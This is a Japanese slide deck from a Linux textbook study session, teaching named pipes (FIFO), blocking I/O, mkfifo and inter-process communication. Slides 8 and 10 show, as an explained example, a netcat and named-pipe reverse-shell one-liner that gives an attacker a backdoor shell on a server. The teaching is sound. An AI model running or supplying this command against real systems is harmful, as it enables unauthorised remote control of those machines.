名前付きパイプ FIFO
by
Osumi, Yusuke
Link
Embed
Share
Beginning
This slide
Copy link URL
Copy link URL
Copy iframe embed code
Copy iframe embed code
Copy javascript embed code
Copy javascript embed code
Share
Tweet
Share
Tweet
Slide 1
Slide 1 text
名前付きパイプ FIFO @ozuma5119 1 「新しいLinuxの教科書」を読む会 オンライン #10 2021/02/13
Slide 2
Slide 2 text
名前付きパイプ FIFO 2 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo $ tail -f fifo (別のターミナルで) 読み込んで解放
Slide 3
Slide 3 text
名前付きパイプ FIFO 3 先に読み込んでおく $ tail -f fifo $ echo "Hello" > fifo 今度は書き込むとブロックされない
Slide 4
Slide 4 text
名前付きパイプ FIFO 4 書き込むと止まる(ブロッキングI/O) $ echo "Hello" > fifo 1. 入出力中は他の処理が行えない (特に遅いディスクを扱う ときにつらい) 2. ただし非同期処理で思わぬデータ破壊が起きにくい利点 ※深い話なので、ここではこれ以上突っ込まない
Slide 5
Slide 5 text
5 名前付きパイプ FIFO mkfifo - FIFO (名前付きパイプ) を作成する $ man mkfifo $ mkfifo fifo $ ls -l fifo prw-rw-r--. 1 ozuma ozuma 0 2月 12 20:47 fifo $
Slide 6
Slide 6 text
6 $ cat sample.txt | sort $ cat sample.txt > fifo $ sort < fifo 無名パイプ 名前付きパイプ
Slide 7
Slide 7 text
プロセス間通信に使われる 7 プロセス実行.... ガッ SIGTERM(15) プロセスA プロセスB 通信したいデータ シグナルによるプ ロセス間通信 名前付きパイプによる プロセス間通信 無名パイプ | と違って、 2つのプロセスはバラバラに 実行していて良い
Slide 8
Slide 8 text
高度な例(しかし実際の攻撃によく使われる) 被害サーバ:ここでは /tmp/f が名前付きパイプ 8 $ nc < /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る
Slide 9
Slide 9 text
9 攻撃者が攻撃対象のマシン 上でコマンド実行 (実際は、バレないように 見えないところで実行) 攻撃者のマシンに シェルがつながって 自由に操作できる
Slide 10
Slide 10 text
もう一度確認して解説 被害サーバ:ここでは /tmp/f が名前付きパイプ 10 $ nc < /tmp/f | /bin/sh >/tmp/f 2>&1 攻撃者側サーバ:待ち受けておく $ nc -lvnp ※nc: netcatコマンド。ネットワークでデータストリームを流すcat サーバにバックドア Reverse Shell を作る